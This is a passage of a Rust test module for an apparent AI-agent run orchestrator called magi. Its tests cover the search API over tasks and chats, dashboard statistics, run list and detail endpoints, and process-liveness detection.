11107 );
11108
11109 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11110 let parts = snippet_of(&long, &["needle".to_owned()]);
11111 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11112 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11113 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11114 }
11115
11116 #[tokio::test]
11117 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11118 let f = Fixture::start().await;
11119 let queue = f.queue();
11120 let mut t = Task::new(
11121 "short title".to_owned(),
11122 "line one\nthe hidden Armadillo detail".to_owned(),
11123 PathBuf::from("/repo/magi"),
11124 Source::Agent {
11125 run: "r1".to_owned(),
11126 node: "chat".to_owned(),
11127 },
11128 );
11129 t.last_error = Some("disk full on /tmp".to_owned());
11130 queue.put(&mut t).expect("file the task");
11131
11132 for (q, want) in [
11133 ("armadillo", 1),
11134 ("disk%20FULL", 1),
11135 ("chat", 1),
11136 ("queued", 1),
11137 ("short%20nothing", 0),
11138 ] {
11139 let v = f
11140 .get(&format!("/api/search?scope=tasks&q={q}"))
11141 .await
11142 .json();
11143 assert_eq!(v["total"], want, "{q}: {v}");
11144 }
11145 for bad in [
11146 "/api/search?scope=tasks&q=",
11147 "/api/search?scope=tasks&q=%20",
11148 "/api/search?scope=chats&q=",
11149 "/api/search?scope=chats&q=%20",
11150 "/api/search?scope=nope&q=a",
11151 "/api/search?q=a",
11152 ] {
11153 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11154 }
11155 }
11156
11157 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11159 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11160 .expect("seat value");
11161 let turns: Vec<serde_json::Value> = turns
11162 .iter()
11163 .map(|(who, body)| {
11164 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11165 })
11166 .collect();
11167 let doc = serde_json::json!({
11168 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11169 "status": status, "turns": turns,
11170 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11171 "seat": seat,
11172 });
11173 let dir = f.home.path().join("talks");
11174 std::fs::create_dir_all(&dir).expect("talks dir");
11175 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11176 }
11177
11178 #[tokio::test]
11179 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11180 let f = Fixture::start().await;
11181 write_talk(
11182 &f,
11183 "20260901-000001-aaaa",
11184 "open",
11185 &[
11186 (
11187 "operator",
11188 "\n Why does the Pangolin cache expire?\nsecond line",
11189 ),
11190 ("agent", "Because the TTL is thirty seconds."),
11191 ],
11192 );
11193 write_talk(
11194 &f,
11195 "20260901-000002-bbbb",
11196 "closed",
11197 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11198 );
11199 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11200
11201 let search = |q: &'static str| {
11202 let f = &f;
11203 async move {
11204 f.get(&format!("/api/search?scope=chats&q={q}"))
11205 .await
11206 .json()
11207 }
11208 };
11209
11210 let v = search("PANGOLIN").await;
11211 assert_eq!(v["scope"], "chats");
11212 assert_eq!(v["total"], 1, "{v}");
11213 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11214 assert_eq!(v["hits"][0]["field"], "title");
11215 assert_eq!(v["unreadable"], 1, "{v}");
11216 let marked: Vec<&str> = v["hits"][0]["snippet"]
11217 .as_array()
11218 .unwrap()
11219 .iter()
11220 .filter(|p| p["hit"] == true)
11221 .map(|p| p["text"].as_str().unwrap())
11222 .collect();
11223 assert_eq!(marked, ["Pangolin"]);
11224
11225 let v = search("zebra").await;
11227 assert_eq!(v["total"], 1, "{v}");
11228 assert_eq!(v["hits"][0]["field"], "agent");
11229 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11231 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11232 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11234 assert_eq!(search(q).await["total"], 0, "{q}");
11235 }
11236 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11238 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11240
11241 let v = f.get("/api/search?scope=nope&q=a").await;
11242 assert_eq!(v.status, 400);
11243 assert!(
11244 v.body.contains("scope must be runs, tasks or chats"),
11245 "{}",
11246 v.body
11247 );
11248 }
11249
11250 #[test]
11251 fn a_question_card_links_a_task_id_to_the_task_page() {
11252 let start = APP_JS
11253 .find("function updateAskCard(")
11254 .expect("updateAskCard exists");
11255 let body = &APP_JS[start..];
11256 let body = &body[..body.find("\n}\n").expect("function end")];
11257 assert!(body.contains("question.run_is_task"));
11258 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11259 assert!(body.contains("`#/runs/${question.run}`"));
11260 assert!(body.contains("\"task\" : \"run\""));
11261 }
11262
11263 #[test]
11264 fn stats_bars_share_one_id_keyed_plan() {
11265 let start = APP_JS
11266 .find("function statsBarRows(")
11267 .expect("statsBarRows exists");
11268 let body = &APP_JS[start..];
11269 let body = &body[..body.find("\n}\n").expect("function end")];
11270 assert!(body.contains("statsBarPlan(rows)"));
11271 assert!(body.contains("statsAgentTone(row.agent)"));
11272 assert!(!body.contains("candTone(i)"));
11273 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11274 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11275 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11276 }
11277 }
11278
11279 #[test]
11280 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11281 let start = APP_JS
11282 .find("function renderStatsReviewerScatter(")
11283 .expect("renderStatsReviewerScatter exists");
11284 let body = &APP_JS[start..];
11285 let body = &body[..body.find("\n}\n").expect("function end")];
11286 assert!(body.contains("statsScatterPlan(reviewers)"));
11287 assert!(body.contains("statsAgentTone(d.agent)"));
11288 assert!(APP_JS.contains("function statsScatterPlan("));
11289 assert!(
11290 APP_JS.contains("d.submitted < STATS_LOW_N")
11291 || APP_JS.contains("r.submitted < STATS_LOW_N")
11292 );
11293 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11294 assert!(APP_CSS.contains(".precision-scatter"));
11295 }
11296
11297 #[test]
11298 fn advisor_reflection_is_drawn_as_stacked_segments() {
11299 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11300 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11301 let html = include_str!("../assets/ui/index.html");
11302 assert!(html.contains("Approximate"));
11303 for label in ["reflected strongly", "faint", "no proposal"] {
11304 assert!(html.contains(label));
11305 }
11306 let css = include_str!("../assets/ui/app.css");
11307 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11308 assert!(css.contains(&format!(".{c} {{")));
11309 }
11310 }
11311
11312 #[test]
11313 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11314 assert!(APP_JS.contains("function statsDailyPlan("));
11315 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11316 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11317 }
11318
11319 #[test]
11320 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11321 let start = APP_JS
11322 .find("function scheduleSearch(")
11323 .expect("scheduleSearch exists");
11324 let body = &APP_JS[start..];
11325 let body = &body[..body.find("\n}\n").expect("function end")];
11326 assert!(body.contains("s.seq += 1"));
11327 }
11328
11329 #[tokio::test]
11334 async fn stats_runs_unreadable_matches_health() {
11335 let f = Fixture::start().await;
11336 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11337 let broken = f.runs().join("20260902-140502-bad");
11338 std::fs::create_dir_all(&broken).expect("run dir");
11339 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11340
11341 let stats = f.get("/api/stats").await;
11342 let health = f.get("/api/health").await;
11343
11344 assert_eq!(stats.status, 200);
11345 assert_eq!(stats.json()["totals"]["runs"], 1);
11346 assert_eq!(stats.json()["runs_unreadable"], 1);
11347 assert_eq!(
11348 stats.json()["runs_unreadable"],
11349 health.json()["runs_unreadable"],
11350 "the dashboard and /api/health must never disagree about how many \
11351 runs could not be read"
11352 );
11353 }
11354
11355 #[tokio::test]
11356 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11357 let f = Fixture::start().await;
11358 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11359 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11360 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11361
11362 let totals = &f.get("/api/stats").await.json()["totals"];
11363 assert_eq!(totals["runs"], 3);
11364 assert_eq!(totals["merged"], 1);
11365 assert_eq!(totals["stalled"], 1);
11366 assert_eq!(totals["in_progress"], 1);
11367 assert_eq!(totals["blocked"], 0);
11370 assert_eq!(totals["ready"], 0);
11371 }
11372
11373 #[tokio::test]
11374 async fn stats_advisors_report_proposals_and_reflection() {
11375 use crate::advise::{Advice, AdvisorRecord, Reflection};
11376 use crate::verdict::Proposal;
11377
11378 let f = Fixture::start().await;
11379 let mut state = RunState::new(
11380 PathBuf::from("/repo/magi"),
11381 "main".to_owned(),
11382 "0123456789abcdef".to_owned(),
11383 "task".to_owned(),
11384 Config::default(),
11385 );
11386 state.id = "20260902-140501-a".to_owned();
11387 state.status = RunStatus::Merged;
11388 state.advice = Some(Advice {
11389 records: vec![
11390 AdvisorRecord {
11391 seat: "advisor-1".to_owned(),
11392 agent: "alpha".to_owned(),
11393 proposal: Some(Proposal {
11394 approach: "do it".to_owned(),
11395 key_tradeoff: "speed over memory".to_owned(),
11396 risks: Vec::new(),
11397 touches: Vec::new(),
11398 why_not_naive: "breaks under load".to_owned(),
11399 }),
11400 error: None,
11401 duration_ms: 0,
11402 reflection: Reflection::Strong,
11403 },
11404 AdvisorRecord {
11405 seat: "advisor-2".to_owned(),
11406 agent: "alpha".to_owned(),
11407 proposal: None,
11408 error: Some("timed out".to_owned()),
11409 duration_ms: 0,
11410 reflection: Reflection::Absent,
11411 },
11412 ],
11413 synthesis: Some("blended brief".to_owned()),
11414 });
11415 let dir = f.runs().join(&state.id);
11416 std::fs::create_dir_all(&dir).expect("run dir");
11417 std::fs::write(
11418 dir.join("run.json"),
11419 serde_json::to_string_pretty(&state).expect("serialize run"),
11420 )
11421 .expect("write run.json");
11422
11423 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11424 let alpha = advisors
11425 .as_array()
11426 .expect("an array")
11427 .iter()
11428 .find(|a| a["agent"] == "alpha")
11429 .expect("alpha row");
11430 assert_eq!(alpha["seated"], 2);
11431 assert_eq!(alpha["proposed"], 1);
11432 assert_eq!(alpha["absent"], 1);
11433 assert_eq!(alpha["strong"], 1);
11434 assert_eq!(alpha["faint"], 0);
11435 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11436 }
11437
11438 #[tokio::test]
11439 async fn stats_release_bumps_split_clean_from_attention() {
11440 use crate::run::ReleaseBump;
11441
11442 let f = Fixture::start().await;
11443
11444 let mut clean = RunState::new(
11445 PathBuf::from("/repo/magi"),
11446 "main".to_owned(),
11447 "0123456789abcdef".to_owned(),
11448 "task".to_owned(),
11449 Config::default(),
11450 );
11451 clean.id = "20260902-140501-a".to_owned();
11452 clean.status = RunStatus::Merged;
11453 clean.release_bump = Some(ReleaseBump {
11454 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11455 version: Some("1.0.0".to_owned()),
11456 automerge_enabled: true,
11457 merged_directly: false,
11458 local: false,
11459 release: None,
11460 problem: None,
11461 action_required: None,
11462 });
11463
11464 let mut blocked = RunState::new(
11465 PathBuf::from("/repo/magi"),
11466 "main".to_owned(),
11467 "0123456789abcdef".to_owned(),
11468 "task".to_owned(),
11469 Config::default(),
11470 );
11471 blocked.id = "20260902-140502-b".to_owned();
11472 blocked.status = RunStatus::Merged;
11473 blocked.release_bump = Some(ReleaseBump {
11474 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11475 version: Some("1.0.1".to_owned()),
11476 automerge_enabled: false,
11477 merged_directly: false,
11478 local: false,
11479 release: None,
11480 problem: Some("checks red".to_owned()),
11481 action_required: Some("look at the PR".to_owned()),
11482 });
11483
11484 for state in [&clean, &blocked] {
11485 let dir = f.runs().join(&state.id);
11486 std::fs::create_dir_all(&dir).expect("run dir");
11487 std::fs::write(
11488 dir.join("run.json"),
11489 serde_json::to_string_pretty(state).expect("serialize run"),
11490 )
11491 .expect("write run.json");
11492 }
11493
11494 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11495 assert_eq!(bumps["merged"], 2);
11496 assert_eq!(bumps["recorded"], 2);
11497 assert_eq!(bumps["pr_opened"], 2);
11498 assert_eq!(bumps["automerge_enabled"], 1);
11499 assert_eq!(bumps["needs_attention"], 1);
11500 assert_eq!(bumps["clean"], 1);
11501 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11502 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11503 }
11504
11505 #[tokio::test]
11506 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11507 let f = Fixture::start().await;
11508 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11509
11510 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11511 assert_eq!(bumps["merged"], 1);
11512 assert_eq!(bumps["recorded"], 0);
11513 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11516 assert_eq!(bumps["automerge_rate"], Value::Null);
11519 assert_eq!(bumps["attention_rate"], Value::Null);
11520 }
11521
11522 #[tokio::test]
11523 async fn stats_queue_counts_come_from_the_live_queue() {
11524 let f = Fixture::start().await;
11525 let q = f.queue();
11526 let mut queued = Task::new(
11527 "queued task".to_owned(),
11528 "do it".to_owned(),
11529 PathBuf::from("/repo"),
11530 Source::Human,
11531 );
11532 q.put(&mut queued).expect("put queued");
11533 let mut held = Task::new(
11534 "held task".to_owned(),
11535 "do it later".to_owned(),
11536 PathBuf::from("/repo"),
11537 Source::Human,
11538 );
11539 held.hold_machine(Some("out of attempts".to_owned()));
11540 q.put(&mut held).expect("put held");
11541
11542 let queue = f.get("/api/stats").await.json()["queue"].clone();
11543 assert_eq!(queue["queued"], 1);
11544 assert_eq!(queue["held"], 1);
11545 assert_eq!(queue["running"], 0);
11546 assert_eq!(queue["done"], 0);
11547 assert_eq!(queue["failed"], 0);
11548 assert_eq!(queue["blocked"], 0);
11549 }
11550
11551 #[tokio::test]
11552 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11553 let f = Fixture::start().await;
11554 let stats = f.get("/api/stats").await;
11555 assert_eq!(stats.status, 200);
11556 assert_eq!(stats.json()["totals"]["runs"], 0);
11557 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11558 assert_eq!(stats.json()["runs_unreadable"], 0);
11559 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11560 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11561 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11562 assert_eq!(stats.json()["repo"], Value::Null);
11563 }
11564
11565 #[tokio::test]
11566 async fn stats_lists_every_repository_with_runs_recorded() {
11567 let f = Fixture::start().await;
11568 write_run_repo(
11569 &f.runs(),
11570 "20260902-140501-a",
11571 RunStatus::Merged,
11572 "/repos/a",
11573 );
11574 write_run_repo(
11575 &f.runs(),
11576 "20260902-140502-b",
11577 RunStatus::Merged,
11578 "/repos/a",
11579 );
11580 write_run_repo(
11581 &f.runs(),
11582 "20260902-140503-c",
11583 RunStatus::Blocked,
11584 "/repos/b",
11585 );
11586
11587 let stats = f.get("/api/stats").await;
11588 assert_eq!(stats.status, 200);
11589 assert_eq!(stats.json()["totals"]["runs"], 3);
11591 assert_eq!(stats.json()["repo"], Value::Null);
11592
11593 let repos = stats.json()["repos"].clone();
11594 let repos = repos.as_array().unwrap();
11595 assert_eq!(repos.len(), 2);
11596 assert_eq!(repos[0]["repo"], "/repos/a");
11598 assert_eq!(repos[0]["name"], "a");
11599 assert_eq!(repos[0]["runs"], 2);
11600 assert_eq!(repos[1]["repo"], "/repos/b");
11601 assert_eq!(repos[1]["runs"], 1);
11602 }
11603
11604 #[tokio::test]
11605 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11606 let f = Fixture::start().await;
11607 write_run_repo(
11608 &f.runs(),
11609 "20260902-140501-a",
11610 RunStatus::Merged,
11611 "/repos/a",
11612 );
11613 write_run_repo(
11614 &f.runs(),
11615 "20260902-140502-b",
11616 RunStatus::Blocked,
11617 "/repos/b",
11618 );
11619
11620 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11621 assert_eq!(stats.status, 200);
11622 assert_eq!(stats.json()["totals"]["runs"], 1);
11623 assert_eq!(stats.json()["totals"]["merged"], 1);
11624 assert_eq!(stats.json()["repo"], "/repos/a");
11625 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11628 assert_eq!(stats.json()["runs_unreadable"], 0);
11631 }
11632
11633 #[tokio::test]
11634 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11635 let f = Fixture::start().await;
11636 write_run_repo(
11637 &f.runs(),
11638 "20260902-140501-a",
11639 RunStatus::Merged,
11640 "/repos/a",
11641 );
11642 write_run_repo(
11643 &f.runs(),
11644 "20260902-140502-b",
11645 RunStatus::Merged,
11646 "/repos/b",
11647 );
11648
11649 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11650 let json = f.get(uri).await.json();
11651 let daily = json["daily"].as_array().expect("daily is an array");
11652 assert_eq!(daily.len(), 30);
11653 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11654 let mut sorted = dates.clone();
11655 sorted.sort();
11656 assert_eq!(dates, sorted);
11657 for d in daily {
11658 assert_eq!(
11659 d["merged"].as_u64().unwrap()
11660 + d["ready"].as_u64().unwrap()
11661 + d["other"].as_u64().unwrap(),
11662 d["runs"].as_u64().unwrap()
11663 );
11664 }
11665 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11666 }
11667 }
11668
11669 #[tokio::test]
11670 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11671 let f = Fixture::start().await;
11672 write_run_repo(
11673 &f.runs(),
11674 "20260902-140501-a",
11675 RunStatus::Merged,
11676 "/repos/a",
11677 );
11678
11679 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11680 assert_eq!(stats.status, 404);
11681 }
11682
11683 #[tokio::test]
11684 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11685 let f = Fixture::start().await;
11686 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11687
11688 let summary = f.get("/api/runs").await.json();
11689 let row = &summary[0];
11690 assert_eq!(row["short"], "a1b2");
11691 assert_eq!(row["status"], "ready");
11692 assert_eq!(row["done"], true);
11693 assert_eq!(row["title"], "Add a web UI");
11694 assert_eq!(row["repo_name"], "magi");
11695 assert_eq!(row["judges"], 3);
11696 assert_eq!(row["winner"], Value::Null);
11697 assert_eq!(row["reviews"], 0);
11698
11699 let detail = f.get("/api/runs/a1b2").await;
11702 assert_eq!(detail.status, 200);
11703 assert_eq!(detail.json()["base_branch"], "main");
11704 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11705 }
11706
11707 #[tokio::test]
11715 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11716 let f = Fixture::start().await;
11717
11718 let mut none_run = RunState::new(
11719 PathBuf::from("/repo/magi"),
11720 "main".to_owned(),
11721 "0123456789abcdef".to_owned(),
11722 "Add a web UI".to_owned(),
11723 Config::default(),
11724 );
11725 none_run.id = "20260902-140503-none".to_owned();
11726 none_run.status = RunStatus::Ready;
11727 none_run.merge = Some(crate::run::MergeOutcome {
11728 mode: crate::config::MergeMode::None,
11729 ok: true,
11730 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11731 empty: false,
11732 });
11733 write_state(&f.runs(), &none_run);
11734
11735 let mut pr_run = RunState::new(
11736 PathBuf::from("/repo/magi"),
11737 "main".to_owned(),
11738 "0123456789abcdef".to_owned(),
11739 "Add a web UI".to_owned(),
11740 Config::default(),
11741 );
11742 pr_run.id = "20260902-140504-prcl".to_owned();
11743 pr_run.status = RunStatus::Ready;
11744 pr_run.merge = Some(crate::run::MergeOutcome {
11745 mode: crate::config::MergeMode::Pr,
11746 ok: false,
11747 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11748 empty: false,
11749 });
11750 write_state(&f.runs(), &pr_run);
11751
11752 let summary = f.get("/api/runs").await.json();
11753 let rows: std::collections::HashMap<&str, &Value> = summary
11754 .as_array()
11755 .expect("an array")
11756 .iter()
11757 .map(|r| (r["id"].as_str().expect("an id"), r))
11758 .collect();
11759 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11760 assert_eq!(
11761 rows[none_run.id.as_str()]["unmerged_by_design"],
11762 true,
11763 "a mode-none Ready must be flagged in the list"
11764 );
11765 assert_eq!(
11766 rows[pr_run.id.as_str()]["unmerged_by_design"],
11767 false,
11768 "a Ready reached by a closed pull request is a different case"
11769 );
11770
11771 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11772 assert_eq!(none_detail["status"], "ready");
11773 assert_eq!(none_detail["unmerged_by_design"], true);
11774
11775 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11776 assert_eq!(pr_detail["unmerged_by_design"], false);
11777 }
11778
11779 #[tokio::test]
11784 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11785 let f = Fixture::start().await;
11786 let id = "20260902-140502-bbbb";
11790 let mut state = RunState::new(
11791 PathBuf::from("/repo/magi"),
11792 "main".to_owned(),
11793 "0123456789abcdef".to_owned(),
11794 "Add a web UI".to_owned(),
11795 Config::default(),
11796 );
11797 state.id = id.to_owned();
11798 state.status = RunStatus::Judging;
11799 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11800 let dir = f.runs().join(id);
11801 std::fs::create_dir_all(&dir).expect("run dir");
11802 std::fs::write(
11803 dir.join("run.json"),
11804 serde_json::to_string_pretty(&state).expect("serialize run"),
11805 )
11806 .expect("write run.json");
11807
11808 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11814 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11815 assert_eq!(cold["live"], "unknown", "{cold}");
11816
11817 write_daemon(f.home.path(), Timestamp::now());
11820 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11821 assert_eq!(warm["live"], "live", "{warm}");
11822 }
11823
11824 #[tokio::test]
11827 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11828 let f = Fixture::start().await;
11829 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11830 let mut state = RunState::new(
11831 PathBuf::from("/repo/magi"),
11832 "main".to_owned(),
11833 "0123456789abcdef".to_owned(),
11834 "Add a web UI".to_owned(),
11835 Config::default(),
11836 );
11837 state.id = id.to_owned();
11838 state.origin = origin;
11839 let mut value = serde_json::to_value(&state).expect("serialize run");
11840 if let Some(schema) = schema {
11841 value["schema"] = serde_json::json!(schema);
11842 value.as_object_mut().unwrap().remove("origin");
11843 }
11844 let dir = f.runs().join(id);
11845 std::fs::create_dir_all(&dir).expect("run dir");
11846 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11847 };
11848 write(
11849 "20260930-092817-ec34",
11850 Some(crate::run::Origin::from_agent_env(
11851 Some(("4a7b".to_owned(), "chat".to_owned())),
11852 None,
11853 )),
11854 None,
11855 );
11856 write("20260930-092817-0ld1", None, Some(12));
11857
11858 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11859 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11860 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11861
11862 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11863 assert_eq!(
11864 old["origin_label"], "origin unknown (started before origins were recorded)",
11865 "{old}"
11866 );
11867 assert!(old["origin"].is_null(), "{old}");
11868
11869 let list = f.get("/api/runs").await.json();
11870 let labels: Vec<_> = list
11871 .as_array()
11872 .unwrap()
11873 .iter()
11874 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11875 .collect();
11876 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11877 }
11878
11879 #[tokio::test]
11886 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11887 let f = Fixture::start().await;
11888 let id = "20260922-090000-cccc";
11889 let mut state = RunState::new(
11890 PathBuf::from("/repo/magi"),
11891 "main".to_owned(),
11892 "0123456789abcdef".to_owned(),
11893 "Review only".to_owned(),
11894 Config::default(),
11895 );
11896 state.id = id.to_owned();
11897 state.status = RunStatus::Reviewing;
11898 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11899 state.driver_pid = Some(std::process::id());
11905 state.driver_started_at = Some(
11906 crate::proc::process_started_at(std::process::id())
11907 .expect("this test process's own start time must be queryable"),
11908 );
11909 let dir = f.runs().join(id);
11910 std::fs::create_dir_all(&dir).expect("run dir");
11911 std::fs::write(
11912 dir.join("run.json"),
11913 serde_json::to_string_pretty(&state).expect("serialize run"),
11914 )
11915 .expect("write run.json");
11916
11917 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11918 assert_eq!(detail["live"], "live", "{detail}");
11919 }
11920
11921 #[tokio::test]
11927 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11928 let f = Fixture::start().await;
11929 let id = "20260922-090100-dddd";
11930 let mut state = RunState::new(
11931 PathBuf::from("/repo/magi"),
11932 "main".to_owned(),
11933 "0123456789abcdef".to_owned(),
11934 "Review only".to_owned(),
11935 Config::default(),
11936 );
11937 state.id = id.to_owned();
11938 state.status = RunStatus::Reviewing;
11939 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11940 state.driver_pid = Some(std::process::id());
11945 state.driver_started_at = Some("1".to_owned());
11946 let dir = f.runs().join(id);
11947 std::fs::create_dir_all(&dir).expect("run dir");
11948 std::fs::write(
11949 dir.join("run.json"),
11950 serde_json::to_string_pretty(&state).expect("serialize run"),
11951 )
11952 .expect("write run.json");
11953
11954 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11955 assert_eq!(detail["live"], "dead", "{detail}");
11956 }
11957
11958 #[test]
11962 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11963 let mk = |id: &str, pid: Option<u32>| {
11964 let mut s = RunState::new(
11965 PathBuf::from("/repo/magi"),
11966 "main".to_owned(),
11967 "0123456789abcdef".to_owned(),
11968 "Add a web UI".to_owned(),
11969 Config::default(),
11970 );
11971 s.id = id.to_owned();
11972 s.driver_pid = pid;
11973 s.driver_started_at = Some("1790000000".to_owned());
11974 s
11975 };
11976 let states = vec![
11977 mk("20260902-140502-aaaa", Some(77)),
11978 mk("20260902-140502-bbbb", Some(77)),
11979 mk("20260902-140502-cccc", Some(77)),
11980 mk("20260902-140502-dddd", None),
11981 ];
11982 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11983 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11984 let sup: HashMap<String, String> = [(
11985 "20260902-140502-aaaa".to_owned(),
11986 "20260902-140502-cccc".to_owned(),
11987 )]
11988 .into();
11989
11990 let status_calls = std::cell::Cell::new(0);
11991 let identity_calls = std::cell::Cell::new(0);
11992 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11993 |_| {
11994 status_calls.set(status_calls.get() + 1);
11995 Some(true)
11996 },
11997 |_| {
11998 identity_calls.set(identity_calls.get() + 1);
11999 Some("1790000000".to_owned())
12000 },
12001 ));
12002 let rows = summarize(
12003 states,
12004 &open,
12005 &claimed,
12006 &sup,
12007 |p| probe.borrow_mut().status(p),
12008 |p| probe.borrow_mut().started_at(p),
12009 );
12010
12011 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12012 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12013 assert_eq!(rows.len(), 4);
12014 assert!(!rows[0].waiting && rows[1].waiting);
12015 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12016 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12017 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12018 assert_eq!(rows[1].superseded_by, None);
12019 }
12020
12021 #[test]
12022 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12023 let mut state = RunState::new(
12024 PathBuf::from("/repo/magi"),
12025 "main".to_owned(),
12026 "0123456789abcdef".to_owned(),
12027 "Review only".to_owned(),
12028 Config::default(),
12029 );
12030 state.id = "20260922-090200-dead".to_owned();
12031 state.status = RunStatus::Reviewing;
12032 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12033 .expect("serialize list row");
12034 assert_eq!(row["status"], "reviewing");
12035 assert_eq!(row["live"], "dead", "{row}");
12036 assert!(!row["done"].as_bool().unwrap());
12037 }
12038
12039 #[tokio::test]
12040 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12041 let f = Fixture::start().await;
12042 for id in [
12043 "20260902-140501-aaaa",
12044 "20260902-140502-bbbb",
12045 "20260902-140503-cccc",
12046 ] {
12047 write_run(&f.runs(), id, RunStatus::Merged);
12048 }
12049
12050 let all = f.get("/api/runs").await.json();
12051 let capped = f.get("/api/runs?limit=2").await.json();
12052
